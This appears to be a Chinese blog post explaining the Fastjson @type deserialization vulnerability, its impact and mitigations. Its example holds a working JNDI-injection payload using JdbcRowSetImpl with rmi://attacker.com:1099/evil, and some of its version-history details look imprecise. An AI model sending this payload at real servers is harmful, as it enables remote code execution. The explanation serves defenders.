你是否了解fastjson库中的反序列化漏洞?请简述其影响。

Fastjson反序列化漏洞概述**

Fastjson 是阿里巴巴开源的一个用于 JSON 解析和序列化的 Java 库。然而,由于其在处理 JSON 数据时可以自动反序列化为 Java 对象,这种特性在不当使用或未限制反序列化类型的情况下可能导致 远程代码执行(RCE)信息泄露 等严重安全漏洞。


1. Fastjson反序列化漏洞的成因

Fastjson 的反序列化漏洞主要是由于以下几点:

  1. 反序列化的动态性
    • Fastjson 在反序列化 JSON 数据时,会根据 JSON 中的 @type 属性(如果存在)自动实例化指定的类。
    • 这意味着,攻击者可以在传入的 JSON 中伪造 @type 字段,并注入恶意类,从而执行恶意代码。
  2. 未限制反序列化的类
    • 在默认配置下,Fastjson 会尝试加载任何类,只要该类在目标系统的 ClassPath 中。
    • 攻击者可以利用某些自带危险方法(如 java.lang.ProcessBuilderjavax.naming.InitialContext 等)的类,通过其静态代码块或构造方法执行恶意指令。
  3. 攻击路径
    • 一些关键类可能被反序列化时调用其危险方法或构造函数,从而执行系统命令或加载恶意代码。例如,com.sun.rowset.JdbcRowSetImpl 类被反序列化时会尝试连接数据库,而数据库连接地址可以由攻击者控制。

2. 漏洞影响

Fastjson 的反序列化漏洞可以导致以下严重后果:

  1. 远程代码执行(RCE)
    • 攻击者通过恶意 JSON 数据伪造 @type 字段指定某些危险类(如 JdbcRowSetImpl 或其他可被利用的类),可以在目标服务器上执行任意代码或命令。
  2. 敏感信息泄露
    • 攻击者可能利用反序列化机制访问目标系统中的敏感数据,例如通过类加载过程获取文件系统中的配置信息或数据库连接信息。
  3. 服务拒绝(DoS)
    • 反序列化过程中可能加载某些耗资源的类或执行复杂的操作,导致目标服务资源耗尽,无法正常响应。
  4. 系统崩溃或入侵
    • 通过 RCE 和信息泄露的结合,攻击者可以进一步扩展攻击链,对目标系统进行更深层次的控制。

3. 漏洞示例

示例代码: 以下代码展示了 Fastjson 的反序列化漏洞:

import com.alibaba.fastjson.JSON;

public class FastjsonExploit {
    public static void main(String[] args) {
        // 恶意 JSON 数据
        String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker.com:1099/evil\",\"autoCommit\":true}";

        // Fastjson 反序列化
        Object obj = JSON.parse(maliciousJson);

        System.out.println(obj);
    }
}

解释

  1. 恶意 JSON 中的 @type 指定了 com.sun.rowset.JdbcRowSetImpl 类。
  2. 当 Fastjson 反序列化时,它会加载 JdbcRowSetImpl 并尝试调用其方法,其中包括访问 dataSourceName 指定的 RMI 服务。
  3. 攻击者可以通过恶意 RMI 服务触发远程代码执行。

输出结果: 目标服务器可能通过 RMI 调用执行攻击者提供的恶意代码。


4. 解决方案与防护措施

为避免 Fastjson 反序列化漏洞的风险,开发者应采取以下措施:

4.1 禁用 @type 的自动解析

Fastjson 从 1.2.68 版本开始默认禁用了 @type 的自动解析,但如果使用旧版本或手动开启了该功能,可以通过以下方式禁用:

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

4.2 升级 Fastjson 到安全版本

  • 推荐升级到 1.2.83 或更高版本。最新版本修复了已知的漏洞,同时对 @type 的解析进行了严格限制。
  • 对于旧版本(低于 1.2.68),需特别注意配置 setAutoTypeSupport 或尽量避免直接使用反序列化。

4.3 使用安全的白名单机制

  • 配置允许反序列化的类白名单,禁止加载未指定的类:
ParserConfig config = ParserConfig.getGlobalInstance();
config.addAccept("com.example.safe.");
  • 这样只有以 com.example.safe 开头的类才能被反序列化。

4.4 使用更安全的 JSON 库

如果 Fastjson 的安全性无法满足需求,可以考虑使用其他安全性更高的 JSON 库,如:

  • Jackson
  • Gson

4.5 数据输入的严格验证

  • 在接收外部 JSON 数据之前,对输入数据进行严格验证,过滤掉敏感关键字(如 @type)。
  • 避免直接将外部数据反序列化为对象。

4.6 代码层面审计与监控

  • 检查代码中是否存在使用 JSON.parseObject 或类似的反序列化方法。
  • 对反序列化结果进行严格类型检查,确保仅处理安全的类。

5. Fastjson版本更新中的修复措施

Fastjson 开发团队对反序列化漏洞做出了多次修复。以下是几个关键版本的修复:

  1. 1.2.25:对部分高危类(如 JdbcRowSetImpl)的反序列化进行了限制。
  2. 1.2.42:增加了黑名单机制,禁止某些危险类的反序列化。
  3. 1.2.68:默认禁用 @type 的自动解析。
  4. 1.2.83:增加更严格的类型检查,全面修复已知漏洞。

6. 总结

Fastjson 的反序列化漏洞是由于其支持自动类型解析的特性导致的,这种特性虽然方便,但也为攻击者提供了利用的机会。其影响包括远程代码执行、信息泄露、服务拒绝等。

为避免漏洞风险,建议开发者采取以下措施:

  • 禁用 @type 的自动解析。
  • 升级到最新版本(1.2.83或更高)。
  • 配置白名单机制。
  • 对输入数据进行严格验证。

发表回复

后才能评论